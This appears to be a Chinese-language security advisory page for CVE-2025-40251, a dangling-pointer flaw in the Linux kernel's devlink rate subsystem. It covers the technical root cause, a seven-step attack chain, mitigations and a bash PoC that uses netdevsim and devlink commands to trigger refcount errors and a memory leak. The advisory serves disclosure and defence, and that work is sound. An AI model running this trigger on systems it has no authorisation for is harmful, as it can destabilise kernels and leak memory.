IPBUF安全漏洞报告
English
CVE-2025-40251 CVSS 5.5 中危

CVE-2025-40251: Linux内核devlink rate模块悬空指针漏洞

披露日期: 2025-12-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-40251
漏洞类型
悬空指针/内存管理错误
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux内核, netdevsim驱动, mlx5驱动

相关标签

Linux内核devlink悬空指针内存管理netdevsimmlx5refcountCVE-2025-40251本地提权内核漏洞

漏洞概述

CVE-2025-40251是Linux内核中devlink rate子系统的安全漏洞,CVSS评分5.5,属于中等严重程度。该漏洞存在于devl_rate_nodes_destroy函数中,该函数本应"取消设置所有rate对象的父指针",但在实现时仅调用了driver-specific的rate_leaf_parent_set或rate_node_parent_set ops并递减父节点的refcount,而未能将devlink_rate->parent指针实际设置为NULL。这导致在devlink_rate结构体中留下悬空指针(dangling pointer),在netdevsim和mlx5驱动中触发refcount错误,造成内存泄漏。该漏洞为本地攻击,攻击者需要低权限即可利用,无需用户交互即可触发。

技术细节

漏洞根源在于Linux内核net/core/devlink.c中的devl_rate_nodes_destroy函数。当销毁rate节点时,该函数负责"取消设置所有rate对象的父指针",但实际代码流程存在缺陷:1) 函数调用driver-specific ops (rate_leaf_parent_set或rate_node_parent_set) 2) 递减父节点refcount 3) 但未将devlink_rate->parent设置为NULL。这与devlink_nl_rate_parent_node_set函数的正确行为不一致,后者会正确清除父指针。悬空指针导致的问题:1) 当设备被卸载时,refcount重复递减触发refcount_warn_saturate警告 2) 内存泄漏 3) 可能导致use-after-free。攻击者可通过创建netdevsim或mlx5设备,设置父子rate关系后删除设备来触发此漏洞。

攻击链分析

STEP 1
步骤1
创建netdevsim设备实例,通过echo 1 > /sys/bus/netdevsim/new_device触发设备初始化
STEP 2
步骤2
配置eswitch为switchdev模式,启用devlink rate功能
STEP 3
步骤3
启用SR-IOV虚拟功能,为后续rate对象创建准备环境
STEP 4
步骤4
通过devlink命令添加rate节点test_node
STEP 5
步骤5
设置父子关系,将节点128的parent设置为test_node,此时parent指针被设置但函数未正确处理
STEP 6
步骤6
删除netdevsim设备,触发devl_rate_leaf_destroy,悬空指针导致refcount重复递减
STEP 7
步骤7
内核输出refcount警告:refcount_t: decrement hit 0; leaking memory,内存泄漏发生

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # CVE-2025-40251 PoC - Linux kernel devlink rate dangling pointer # Trigger via netdevsim driver # Step 1: Create netdevsim device echo 1 > /sys/bus/netdevsim/new_device # Step 2: Set switchdev mode devlink dev eswitch set netdevsim/netdevsim1 mode switchdev # Step 3: Enable SR-IOV echo 1 > /sys/bus/netdevsim/devices/netdevsim1/sriov_numvfs # Step 4: Add rate node devlink port function rate add netdevsim/netdevsim1/test_node # Step 5: Set parent relationship (creates dangling pointer) devlink port function rate set netdevsim/netdevsim1/128 parent test_node # Step 6: Delete device - triggers refcount error # Expected: "refcount_t: decrement hit 0; leaking memory" warning in dmesg echo 1 > /sys/bus/netdevsim/del_device # Check dmesg for warning: dmesg | grep -i "refcount"

影响范围

Linux kernel 6.18.0-rc4+ (mainline)
Linux kernel 6.17.0-rc7_for_upstream_min_debug_2025_10_02_12_44 (debug build)
netdevsim driver (affected when used with vulnerable kernel)
mlx5_core driver (affected when used with vulnerable kernel)

防御指南

临时缓解措施
在无法立即升级内核的情况下,可采取以下缓解措施:1) 监控dmesg输出,关注refcount相关警告;2) 避免频繁创建和删除netdevsim设备或mlx5 SF端口;3) 如使用mlx5设备,避免在有活动rate父子关系时卸载驱动;4) 考虑使用内核命令行参数限制驱动加载;5) 评估业务需求是否必须使用devlink rate功能。该漏洞为内核内部逻辑缺陷,临时缓解措施有限,最有效的方案仍是应用官方补丁升级内核。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表